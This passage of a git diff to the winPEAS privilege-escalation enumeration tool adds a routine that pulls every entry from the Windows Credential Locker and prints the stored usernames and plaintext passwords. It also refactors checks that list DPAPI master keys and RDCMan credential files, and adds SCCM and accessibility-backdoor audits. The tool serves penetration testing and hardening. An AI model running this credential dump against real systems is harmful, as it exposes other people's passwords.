"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager"; + + public string[] MitreAttackIds { get; } = new[] { "T1552.001", "T1552.002", "T1555.003", "T1555.004", "T1558", "T1547.005", "T1546.008", "T1563.002" }; public void PrintInfo(bool isDebug) { - Beaprint.GreatPrint("Windows Credentials", "T1552.001,T1552.002,T1555.003,T1555.004,T1558,T1547.005,T1563.002"); + Beaprint.GreatPrint("Windows Credentials", "T1552.001,T1552.002,T1555.003,T1555.004,T1558,T1547.005,T1546.008,T1563.002"); new List { PrintVaultCreds, PrintCredentialManager, + PrintUWPPasswordVault, PrintSavedRDPInfo, PrintRDPSettings, + PrintAccessibilityBinaryIntegrity, PrintRecentRunCommands, PrintDPAPIMasterKeys, PrintDpapiCredFiles, @@ -49,8 +57,8 @@ private static void PrintVaultCreds() { try { - Beaprint.MainPrint("Checking Windows Vault", "T1555.004"); - Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault"); + Beaprint.MainPrint("Checking Windows Vault", CredentialLockerMitreId); + Beaprint.LinkPrint(CredentialLockerLink); var vaultCreds = VaultCli.DumpVault(); var colorsC = new Dictionary() @@ -69,8 +77,8 @@ private static void PrintCredentialManager() { try { - Beaprint.MainPrint("Checking Credential manager", "T1555.004"); - Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault"); + Beaprint.MainPrint("Checking Credential manager", CredentialLockerMitreId); + Beaprint.LinkPrint(CredentialLockerLink); var colorsC = new Dictionary() { @@ -111,13 +119,100 @@ private static void PrintCredentialManager() } } + private static void PrintUWPPasswordVault() + { + try + { + Beaprint.MainPrint("Checking UWP PasswordVault / Credential Locker", CredentialLockerMitreId); + Beaprint.LinkPrint("https://hacktricks.wiki"); + + var colorsC = new Dictionary() + { + { "Resource.*|UserName.*|Password.*", Beaprint.ansi_color_bad }, + }; + + Type vaultType = Type.GetType("Windows.Security.Credentials.PasswordVault, Windows, ContentType=WindowsRuntime"); + if (vaultType == null) + { + Beaprint.PrintException("Could not load WindowsRuntime PasswordVault type. Ensure you are running on Windows."); + return; + } + + object vaultInstance = Activator.CreateInstance(vaultType); + var retrieveAllMethod = vaultType.GetMethod("RetrieveAll"); + var credentialsList = retrieveAllMethod.Invoke(vaultInstance, null) as System.Collections.IEnumerable; + + if (credentialsList == null) + { + Beaprint.AnsiPrint(" [-] No UWP credentials found in the locker.\n", colorsC); + return; + } + + int count = 0; + foreach (object credential in credentialsList) + { + count++; + try + { + Type credType = credential.GetType(); + var retrievePasswordMethod = credType.GetMethod("RetrievePassword"); + retrievePasswordMethod.Invoke(credential, null); + + string resource = credType.GetProperty("Resource")?.GetValue(credential)?.ToString() ?? ""; + string userName = credType.GetProperty("UserName")?.GetValue(credential)?.ToString() ?? ""; + string password = credType.GetProperty("Password")?.GetValue(credential)?.ToString() ?? ""; + + var credData = new Dictionary + { + { "Resource", resource }, + { "UserName", userName }, + { "Password", password } + }; + + Beaprint.DictPrint(credData, colorsC, true, true); + Beaprint.PrintLineSeparator(); + } + catch (Exception) + { + continue; + } + } + + if (count == 0) + { + Beaprint.AnsiPrint(" [-] No UWP credentials found in the locker.\n", colorsC); + } + } + catch (Exception ex) + { + Beaprint.PrintException(ex.Message); + } + } + + private static List> PrintLinkedCredentialFiles( + string title, + string mitreId, + string link, + Func>> getFiles, + bool deleteNulls = false, + string linkComment = "") + { + Beaprint.MainPrint(title, mitreId); + Beaprint.LinkPrint(link, linkComment); + + var files = getFiles(); + Beaprint.DictPrint(files, deleteNulls); + + return files; + } + static void PrintSavedRDPInfo() { try { Beaprint.MainPrint("Saved RDP connections", "T1552.002"); - List> rdps_info = RemoteDesktop.GetSavedRDPConnections(); + List> rdps_info = KnownFileCreds.RemoteDesktop.GetSavedRDPConnections(); if (rdps_info.Count > 0) Beaprint.NoColorPrint(string.Format(" {0,-20}{1,-55}{2}", "Host", "Username Hint", "User SID")); else @@ -154,14 +249,15 @@ private static void PrintDPAPIMasterKeys() { try { - Beaprint.MainPrint("Checking for DPAPI Master Keys", "T1555.003"); - Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi"); - var masterKeys = KnownFileCredsInfo.ListMasterKeys(); + var masterKeys = PrintLinkedCredentialFiles( + "Checking for DPAPI Master Keys", + "T1555.003", + DpapiLink, + KnownFileCredsInfo.ListMasterKeys, + true); - if (masterKeys.Count != 0) + if (masterKeys.Count > 0) { - Beaprint.DictPrint(masterKeys, true); - if (MyUtils.IsHighIntegrity()) { Beaprint.InfoPrint("Follow the provided link for further instructions in how to decrypt the masterkey."); @@ -182,12 +278,13 @@ private static void PrintDpapiCredFiles() { try { - Beaprint.MainPrint("Checking for DPAPI Credential Files", "T1555.003"); - Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi"); - var credFiles = KnownFileCredsInfo.GetCredFiles(); - Beaprint.DictPrint(credFiles, false); + var credFiles = PrintLinkedCredentialFiles( + "Checking for DPAPI Credential Files", + "T1555.003", + DpapiLink, + KnownFileCredsInfo.GetCredFiles); - if (credFiles.Count != 0) + if (credFiles.Count > 0) { Beaprint.InfoPrint("Follow the provided link for further instructions in how to decrypt the creds file"); } @@ -202,13 +299,14 @@ private static void PrintRCManFiles() { try { - Beaprint.MainPrint("Checking for RDCMan Settings Files", "T1552.001"); - Beaprint.LinkPrint("https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager", - "Dump credentials from Remote Desktop Connection Manager"); - var rdcFiles = RemoteDesktop.GetRDCManFiles(); - Beaprint.DictPrint(rdcFiles, false); + var rdcFiles = PrintLinkedCredentialFiles( + "Checking for RDCMan Settings Files", + "T1552.001", + RdcManLink, + KnownFileCreds.RemoteDesktop.GetRDCManFiles, + linkComment: "Dump credentials from Remote Desktop Connection Manager"); - if (rdcFiles.Count != 0) + if (rdcFiles.Count > 0) { Beaprint.InfoPrint("Follow the provided link for further instructions in how to decrypt the .rdg file"); } @@ -392,6 +490,9 @@ private void PrintSCCM() try { Beaprint.MainPrint("Enumerating SSCM - System Center Configuration Manager settings", "T1552.001"); + Beaprint.LinkPrint( + "https://specterops.io/blog/2022/06/28/the-phantom-credentials-of-sccm-why-the-naa-wont-die/", + "Network Access Account policies place recoverable domain credential material on SCCM clients; prefer Enhanced HTTP and least privilege."); var server = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\CCMSetup", "LastValidMP"); var siteCode = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\SMS\Mobile Client", "AssignedSiteCode"); @@ -405,6 +506,28 @@ private void PrintSCCM() $" Product version: {productVersion}\n" + $" Last Successful Install Params: {lastSuccessfulInstallParams}\n"); } + + SccmNetworkAccessAccountReport naaReport = SccmNetworkAccessAccount.GetReport(); + switch (naaReport.Status) + { + case SccmNetworkAccessAccountStatus.Configured: + string count = naaReport.LimitReached + ? $"{naaReport.AccountCount} or more" + : naaReport.AccountCount.ToString(); + Beaprint.BadPrint($" SCCM Network Access Account credential policies cached in WMI: {count}"); + Beaprint.GrayPrint(" Only non-secret instance metadata was queried; credential blobs were not read or displayed."); + Beaprint.BadPrint(" A local administrator or SYSTEM can recover these domain credentials. Remove or disable unused accounts and review their rights."); + break; + case SccmNetworkAccessAccountStatus.NotConfigured: + Beaprint.GoodPrint(" No active SCCM Network Access Account credential policy is exposed through WMI."); + break; + case SccmNetworkAccessAccountStatus.AccessDenied: + Beaprint.GrayPrint(" SCCM policy WMI access was denied; an elevated context is required to determine whether Network Access Account credentials are cached."); + break; + default: + Beaprint.GrayPrint(" SCCM Network Access Account policy could not be queried in the current environment."); + break; + } } catch (Exception ex) { @@ -453,7 +576,8 @@ private static void PrintRDPSettings() var server = info.ServerSettings; Beaprint.ColorPrint(" RDP Server Settings", Beaprint.LBLUE); - Beaprint.NoColorPrint($" Network Level Authentication : {server.NetworkLevelAuthentication}\n" + + Beaprint.NoColorPrint($" Remote Desktop Enabled : {server.RemoteDesktopEnabled}\n" + + $" Network Level Authentication : {server.NetworkLevelAuthentication}\n" + $" Block Clipboard Redirection : {server.BlockClipboardRedirection}\n" + $" Block COM Port Redirection : {server.BlockComPortRedirection}\n" + $" Block Drive Redirection : {server.BlockDriveRedirection}\n" + @@ -484,9 +608,70 @@ private static void PrintRDPSettings() } catch (Exception ex) { + Beaprint.PrintException(ex.Message); } } + private static void PrintAccessibilityBinaryIntegrity() + { + Beaprint.MainPrint("Accessibility Binary Integrity (sethc.exe/utilman.exe)", "T1546.008"); + Beaprint.LinkPrint( + "https://www.praetorian.com/blog/credential-testing-brutus/", + "Detect logon-screen accessibility binaries replaced with a SYSTEM shell"); + + var server = Info.WindowsCreds.RemoteDesktop.GetRDPSettingsInfo().ServerSettings; + string rdpContext = + $"RDP exposure context: enabled={FormatNullableBoolean(server.RemoteDesktopEnabled)}, " + + $"NLA enabled={FormatEnabledSetting(server.NetworkLevelAuthentication)}"; + if (server.RemoteDesktopEnabled == true && server.NetworkLevelAuthentication == 0) + { + Beaprint.BadPrint(rdpContext + " (accessibility backdoors may be remotely reachable pre-authentication)"); + } + else + { + Beaprint.InfoPrint(rdpContext); + } + + foreach (AccessibilityBinaryInfo binary in AccessibilityBinaryIntegrity.GetBinaryInfo()) + { + string finding = binary.Path + (binary.IsSuspicious + ? " -> suspicious: " + string.Join("; ", binary.Issues) + : " -> no integrity indicators found"); + + if (binary.IsSuspicious) + { + Beaprint.BadPrint(finding); + } + else + { + Beaprint.GoodPrint(finding); + } + + Beaprint.NoColorPrint( + $" SHA-256 : {binary.Sha256}\n" + + $" Size : {binary.Size}\n" + + $" Last write (UTC) : {binary.LastWriteTimeUtc}\n" + + $" Original filename : {binary.OriginalFileName}\n" + + $" File version : {binary.FileVersion}\n" + + $" Signature : {binary.SignatureStatus}\n" + + $" Signer : {binary.Signer}\n" + + $" Owner : {binary.Owner}\n" + + $" Attributes : {binary.Attributes}\n" + + $" Hard-link count : {binary.HardLinkCount}\n" + + $" Low-priv write ACEs: {string.Join(" | ", binary.LowPrivilegeWriteAces)}"); + } + } + + private static string FormatEnabledSetting(uint? value) + { + return value.HasValue ? (value.Value != 0).ToString() : "Unknown"; + } + + private static string FormatNullableBoolean(bool? value) + { + return value.HasValue ? value.Value.ToString() : "Unknown"; + } + private static string GetDescriptionByType(uint? type) { var types = new Dictionary diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/FodyWeavers.xml old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/FodyWeavers.xsd old mode 100644 new mode 100755 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs index 21809ad7..c2083a70 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs @@ -149,6 +149,7 @@ public static void PrintUsage() Console.WriteLine(LCYAN + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR); Console.WriteLine(LCYAN + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR); Console.WriteLine(LCYAN + " dont-check-hostname" + GRAY + " Don't check the hostname externally" + NOCOLOR); + Console.WriteLine(LCYAN + " -vulnpackages" + GRAY + " Send installed application names/versions to HackTricks for an online vulnerability check. Also enabled by 'all'." + NOCOLOR); Console.WriteLine(LCYAN + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR); Console.WriteLine(LCYAN + " max-regex-file-size=1000000" + GRAY + $" Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B" + NOCOLOR); diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/PermissionsHelper.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/PermissionsHelper.cs index 22070349..b65c771e 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/PermissionsHelper.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/PermissionsHelper.cs @@ -25,6 +25,65 @@ internal enum PermissionType /// Get interesting permissions from Files, Folders and Registry internal static class PermissionsHelper { + public static HashSet GetUnprivilegedTokenSids() + { + bool isPrivilegedContext; + return GetUnprivilegedTokenSids(out isPrivilegedContext); + } + + public static HashSet GetUnprivilegedTokenSids(out bool isPrivilegedContext) + { + var unprivilegedSids = new HashSet(StringComparer.OrdinalIgnoreCase) + { + "S-1-1-0", // Everyone + "S-1-5-4", // Interactive + "S-1-5-11", // Authenticated Users + "S-1-5-32-545", // BUILTIN\Users + }; + + isPrivilegedContext = true; + try + { + using (WindowsIdentity identity = WindowsIdentity.GetCurrent()) + { + var principal = new WindowsPrincipal(identity); + var administratorsSid = new SecurityIdentifier(WellKnownSidType.BuiltinAdministratorsSid, null); + isPrivilegedContext = principal.IsInRole(administratorsSid) || + (identity.User != null && IsPrivilegedServiceSid(identity.User.Value)); + if (!isPrivilegedContext && identity.User != null) + { + unprivilegedSids.Add(identity.User.Value); + } + + if (identity.Groups != null) + { + foreach (IdentityReference group in identity.Groups) + { + var sid = group as SecurityIdentifier; + if (sid != null && principal.IsInRole(sid) && !sid.Equals(administratorsSid) && + !IsPrivilegedServiceSid(sid.Value)) + { + unprivilegedSids.Add(sid.Value); + } + } + } + } + } + catch + { + // Well-known low-privilege principals still provide useful configuration auditing. + } + + return unprivilegedSids; + } + + private static bool IsPrivilegedServiceSid(string sid) + { + return string.Equals(sid, "S-1-5-18", StringComparison.OrdinalIgnoreCase) || + string.Equals(sid, "S-1-5-19", StringComparison.OrdinalIgnoreCase) || + string.Equals(sid, "S-1-5-20", StringComparison.OrdinalIgnoreCase); + } + public static List GetPermissionsFile(string path, Dictionary SIDs, PermissionType permissionType = PermissionType.DEFAULT) { /*Permisos especiales para carpetas diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs index 8ec90051..9fec2c67 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Registry/RegistryHelper.cs @@ -31,26 +31,28 @@ public static bool WriteRegValue(string hive, string path, string keyName, strin RegistryKey regKey; if (hive == "HKCU") { - regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path); + regKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(path, true); } else if (hive == "HKU") { - regKey = Microsoft.Win32.Registry.Users.OpenSubKey(path); - + regKey = Microsoft.Win32.Registry.Users.OpenSubKey(path, true); } else { - regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path); + regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(path, true); } - if (regKey == null) + using (regKey) { - return false; - } + if (regKey == null) + { + return false; + } - regKey.SetValue(keyName, value, RegistryValueKind.String); + regKey.SetValue(keyName, value, RegistryValueKind.String); + } } - catch (Exception ex) + catch (Exception) { return false; } diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/RegistryHelper.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/RegistryHelper.cs deleted file mode 100644 index 585efc90..00000000 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/RegistryHelper.cs +++ /dev/null @@ -1,155 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using Microsoft.Win32; - -namespace winPEAS.Helpers -{ - static class RegistryHelper - { - /////////////////////////////////////////// - /// Interf. for Keys and Values in Reg. /// - /////////////////////////////////////////// - /// Functions related to obtain keys and values from the registry - /// Some parts adapted from Seatbelt - public static string GetRegValue(string hive, string path, string value) - { - // returns a single registry value under the specified path in the specified hive (HKLM/HKCU) - string regKeyValue = ""; - if (hive == "HKCU") - { - var regKey = Registry.CurrentUser.OpenSubKey(path); - if (regKey != null) - { - regKeyValue = string.Format("{0}", regKey.GetValue(value)); - } - return regKeyValue; - } - else if (hive == "HKU") - { - var regKey = Registry.Users.OpenSubKey(path); - if (regKey != null) - { - regKeyValue = string.Format("{0}", regKey.GetValue(value)); - } - return regKeyValue; - } - else - { - var regKey = Registry.LocalMachine.OpenSubKey(path); - if (regKey != null) - { - regKeyValue = string.Format("{0}", regKey.GetValue(value)); - } - return regKeyValue; - } - } - - public static Dictionary GetRegValues(string hive, string path) - { - // returns all registry values under the specified path in the specified hive (HKLM/HKCU) - Dictionary keyValuePairs = null; - try - { - if (hive == "HKCU") - { - using (var regKeyValues = Registry.CurrentUser.OpenSubKey(path)) - { - if (regKeyValues != null) - { - var valueNames = regKeyValues.GetValueNames(); - keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue); - } - } - } - else if (hive == "HKU") - { - using (var regKeyValues = Registry.Users.OpenSubKey(path)) - { - if (regKeyValues != null) - { - var valueNames = regKeyValues.GetValueNames(); - keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue); - } - } - } - else - { - using (var regKeyValues = Registry.LocalMachine.OpenSubKey(path)) - { - if (regKeyValues != null) - { - var valueNames = regKeyValues.GetValueNames(); - keyValuePairs = valueNames.ToDictionary(name => name, regKeyValues.GetValue); - } - } - } - return keyValuePairs; - } - catch - { - return null; - } - } - - public static byte[] GetRegValueBytes(string hive, string path, string value) - { - // returns a byte array of single registry value under the specified path in the specified hive (HKLM/HKCU) - byte[] regKeyValue = null; - if (hive == "HKCU") - { - var regKey = Registry.CurrentUser.OpenSubKey(path); - if (regKey != null) - { - regKeyValue = (byte[])regKey.GetValue(value); - } - return regKeyValue; - } - else if (hive == "HKU") - { - var regKey = Registry.Users.OpenSubKey(path); - if (regKey != null) - { - regKeyValue = (byte[])regKey.GetValue(value); - } - return regKeyValue; - } - else - { - var regKey = Registry.LocalMachine.OpenSubKey(path); - if (regKey != null) - { - regKeyValue = (byte[])regKey.GetValue(value); - } - return regKeyValue; - } - } - - public static string[] GetRegSubkeys(string hive, string path) - { - // returns an array of the subkeys names under the specified path in the specified hive (HKLM/HKCU/HKU) - try - { - RegistryKey myKey = null; - if (hive == "HKLM") - { - myKey = Registry.LocalMachine.OpenSubKey(path); - } - else if (hive == "HKU") - { - myKey = Registry.Users.OpenSubKey(path); - } - else - { - myKey = Registry.CurrentUser.OpenSubKey(path); - } - String[] subkeyNames = myKey.GetSubKeyNames(); - return myKey.GetSubKeyNames(); - } - catch - { - return new string[0]; - } - } - } -} diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Search/SearchHelper.cs b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Search/SearchHelper.cs index 89f0c53c..988b70c8 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Search/SearchHelper.cs +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/winPEAS/winPEASexe/winPEAS/Helpers/Search/SearchHelper.cs @@ -1,481 +1,481 @@ -using System; -using System.Collections.Concurrent; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text.RegularExpressions; -using System.Threading.Tasks; -using FileInfo = Alphaleonis.Win32.Filesystem.FileInfo; -using DirectoryInfo = Alphaleonis.Win32.Filesystem.DirectoryInfo; - -namespace winPEAS.Helpers.Search -{ - static class SearchHelper - { - public static List RootDirUsers = new List(); - public static List RootDirCurrentUser = new List(); - public static List ProgramFiles = new List(); - public static List ProgramFilesX86 = new List(); - public static List DocumentsAndSettings = new List(); - public static List GroupPolicyHistory = new List(); - - public static string SystemDrive = Environment.GetEnvironmentVariable("SystemDrive"); - private static string GlobalPattern = "*"; - - public static List StaticExtensions = new List() { - // archives - ".7z", ".tar", ".zip", ".gz", - - // audio/video - ".avi", ".mp3", ".mp4", ".wav", ".wmf", ".wmv", ".ts", ".pak", - - // icons - ".ico", - - // fonts - ".eot", ".fnt", ".fon", ".otf", ".odttf", ".ttc", ".ttf", ".woff", "woff2", "woff3", - - // images - ".bmp", ".emf", ".gif", ".pm", - ".jif", ".jfi", ".jfif", ".jpe", ".jpeg", ".jpg", - ".png", ".psd", ".raw", ".svg", ".svgz", ".tif", ".tiff", ".webp", - }; - - public static List GetFilesFast(string folder, string pattern = "*", HashSet excludedDirs = null, bool isFoldersIncluded = false) - { - ConcurrentBag files = new ConcurrentBag(); - IEnumerable startDirs = GetStartDirectories(folder, files, pattern, isFoldersIncluded); - IList startDirsExcluded = new List(); - ConcurrentDictionary known_dirs = new ConcurrentDictionary(); - - if (excludedDirs != null) - { - foreach (var startDir in startDirs) - { - bool shouldAdd = true; - string startDirLower = startDir.FullName.ToLower(); - - shouldAdd = !excludedDirs.Contains(startDirLower); - - if (shouldAdd) - { - startDirsExcluded.Add(startDir); - } - } - } - else - { - startDirsExcluded = startDirs.ToList(); - } - - Parallel.ForEach(startDirsExcluded, (d) => - { - var foundFiles = GetFiles(d.FullName, pattern); - foreach (var f in foundFiles) - { - if (f != null && !StaticExtensions.Contains(f.Extension.ToLower())) - { - CustomFileInfo file_info = new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false); - files.Add(file_info); - - CustomFileInfo file_dir = new CustomFileInfo(f.Directory.Name, "", f.Directory.FullName, 0, true); - if (known_dirs.TryAdd(file_dir.FullPath, 0)) - { - files.Add(file_dir); - } - } - } - }); - - return files.ToList(); - } - - - private static List GetFiles(string folder, string pattern = "*") - { - DirectoryInfo dirInfo; - DirectoryInfo[] directories; - try - { - dirInfo = new DirectoryInfo(folder); - directories = dirInfo.GetDirectories(); - - if (directories.Length == 0) - { - return new List(dirInfo.GetFiles(pattern)); - } - } - catch (UnauthorizedAccessException) - { - return new List(); - } - catch (PathTooLongException) - { - return new List(); - } - catch (DirectoryNotFoundException) - { - return new List(); - } - catch (Exception) - { - return new List(); - } - - ConcurrentBag result = new ConcurrentBag(); - - Parallel.ForEach(directories, (d) => - { - foreach (var file in GetFiles(d.FullName, pattern)) - { - result.Add(file); - } - }); - - try - { - foreach (var file in dirInfo.GetFiles(pattern)) - { - result.Add(file); - } - } - catch (UnauthorizedAccessException) - { - } - catch (PathTooLongException) - { - } - catch (DirectoryNotFoundException) - { - } - catch (Exception) - { - } - - return result.ToList(); - } - - private static IEnumerable GetStartDirectories(string folder, ConcurrentBag files, string pattern, bool isFoldersIncluded = false) - { - while (true) - { - DirectoryInfo[] directories = null; - try - { - var dirInfo = new DirectoryInfo(folder); - directories = dirInfo.GetDirectories(); - - if (isFoldersIncluded) - { - foreach (var directory in directories) - { - if (Checks.Checks.IsLongPath || directory.FullName.Length <= 260) - files.Add(new CustomFileInfo(directory.Name, null, directory.FullName, 0, true)); - - else if (directory.FullName.Length > 260) - Beaprint.LongPathWarning(directory.FullName); - } - } - - foreach (var f in dirInfo.GetFiles(pattern)) - { - if (!StaticExtensions.Contains(f.Extension.ToLower())) - { - if (Checks.Checks.IsLongPath || f.FullName.Length <= 260) - files.Add(new CustomFileInfo(f.Name, f.Extension, f.FullName, f.Length, false)); - - else if (f.FullName.Length > 260) - Beaprint.LongPathWarning(f.FullName); - } - } - - if (directories.Length > 1) return new List(directories); - - if (directories.Length == 0) return new List(); - } - catch (UnauthorizedAccessException) - { - return new List(); - } - catch (PathTooLongException) - { - return new List(); - } - catch (DirectoryNotFoundException) - { - return new List(); - } - catch (Exception) - { - return new List(); - } - - folder = directories[0].FullName; - isFoldersIncluded = false; - } - } - - internal static void CreateSearchDirectoriesList() - { - // c:\users - string rootUsersSearchPath = $"{SystemDrive}\\Users\\"; - RootDirUsers = GetFilesFast(rootUsersSearchPath, GlobalPattern, isFoldersIncluded: true); - - // c:\users\current_user - string rootCurrentUserSearchPath = Environment.GetEnvironmentVariable("USERPROFILE"); - RootDirCurrentUser = GetFilesFast(rootCurrentUserSearchPath, GlobalPattern, isFoldersIncluded: true); - - // c:\Program Files\ - string rootProgramFiles = $"{SystemDrive}\\Program Files\\"; - ProgramFiles = GetFilesFast(rootProgramFiles, GlobalPattern, isFoldersIncluded: true); - - // c:\Program Files (x86)\ - string rootProgramFilesX86 = $"{SystemDrive}\\Program Files (x86)\\"; - ProgramFilesX86 = GetFilesFast(rootProgramFilesX86, GlobalPattern, isFoldersIncluded: true); - - // c:\Documents and Settings\ - string documentsAndSettings = $"{SystemDrive}\\Documents and Settings\\"; - DocumentsAndSettings = GetFilesFast(documentsAndSettings, GlobalPattern, isFoldersIncluded: true); - - // c:\ProgramData\Microsoft\Group Policy\History - string groupPolicyHistory = $"{SystemDrive}\\ProgramData\\Microsoft\\Group Policy\\History"; - GroupPolicyHistory = GetFilesFast(groupPolicyHistory, GlobalPattern, isFoldersIncluded: true); - - // c:\Documents and Settings\All Users\Application Data\\Microsoft\\Group Policy\\History - string groupPolicyHistoryLegacy = $"{documentsAndSettings}\\All Users\\Application Data\\Microsoft\\Group Policy\\History"; - //SearchHelper.GroupPolicyHistoryLegacy = SearchHelper.GetFilesFast(groupPolicyHistoryLegacy, globalPattern); - var groupPolicyHistoryLegacyFiles = GetFilesFast(groupPolicyHistoryLegacy, GlobalPattern, isFoldersIncluded: true); - GroupPolicyHistory.AddRange(groupPolicyHistoryLegacyFiles); - } - - internal static void CleanLists() - { - RootDirUsers = null; - RootDirCurrentUser = null; - ProgramFiles = null; - ProgramFilesX86 = null; - DocumentsAndSettings = null; - GroupPolicyHistory = null; - - GC.Collect(); - } - - internal static IEnumerable SearchUserCredsFiles() - { - var patterns = new List - { - ".*credential.*", - ".*password.*" - }; - - foreach (var file in RootDirUsers) - { - //string extLower = file.Extension.ToLower(); - - if (!file.IsDirectory) - { - string nameLower = file.Filename.ToLower(); - // string nameExtLower = nameLower + "." + extLower; - - foreach (var pattern in patterns) - { - if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase)) - { - yield return file; - - break; - } - } - - } - } - } - - internal static List SearchUsersInterestingFiles() - { - var result = new List(); - - foreach (var file in RootDirCurrentUser) - { - if (!file.IsDirectory) - { - string extLower = file.Extension.ToLower(); - string nameLower = file.Filename.ToLower(); - - if (Patterns.WhitelistExtensions.Contains(extLower) || - Patterns.WhiteListExactfilenamesWithExtensions.Contains(nameLower)) - { - result.Add(file.FullPath); - } - else - { - foreach (var pattern in Patterns.WhiteListRegexp) - { - if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase)) - { - result.Add(file.FullPath); - - break; - } - } - } - - } - } - - return result; - } - - internal static List FindCachedGPPPassword() - { - var result = new List(); - - var allowedExtensions = new HashSet - { - ".xml" - }; - - foreach (var file in GroupPolicyHistory) - { - if (!file.IsDirectory) - { - string extLower = file.Extension.ToLower(); - - if (allowedExtensions.Contains(extLower)) - { - result.Add(file.FullPath); - } - } - } - - return result; - } - - internal static IEnumerable SearchMcAfeeSitelistFiles() - { - var allowedFilenames = new HashSet - { - "sitelist.xml" - }; - - string programDataPath = $"{SystemDrive}\\ProgramData\\"; - var programData = GetFilesFast(programDataPath, GlobalPattern); - - var searchFiles = new List(); - searchFiles.AddRange(ProgramFiles); - searchFiles.AddRange(ProgramFilesX86); - searchFiles.AddRange(programData); - searchFiles.AddRange(DocumentsAndSettings); - searchFiles.AddRange(RootDirUsers); - - foreach (var file in searchFiles) - { - if (!file.IsDirectory) - { - string filenameToLower = file.Filename.ToLower(); - - if (allowedFilenames.Contains(filenameToLower)) - { - yield return file.FullPath; - } - } - } - } - - internal static List SearchCurrentUserDocs() - { - var result = new List(); - - var allowedRegexp = new List - { - ".*diagram.*", - }; - - var allowedExtensions = new HashSet() - { - ".doc", - ".docx", - ".vsd", - ".xls", - ".xlsx", - ".pdf", - }; - - foreach (var file in RootDirCurrentUser) - { - if (!file.IsDirectory) - { - string extLower = file.Extension.ToLower(); - string nameLower = file.Filename.ToLower(); - - if (allowedExtensions.Contains(extLower)) - { - result.Add(file.FullPath); - } - else - { - foreach (var pattern in allowedRegexp) - { - if (Regex.IsMatch(nameLower, pattern, RegexOptions.IgnoreCase)) - { - result.Add(file.FullPath); - - break; - } - } - } - } - } - - return result; - } - - internal static List SearchUsersDocs() - { - var result = new List(); - - var allowedRegexp = new List - { - ".*diagram.*", - }; - - var allowedExtensions = new HashSet() - { - ".doc", - ".docx", - ".vsd", - ".xls", - ".xlsx", - ".pdf", - 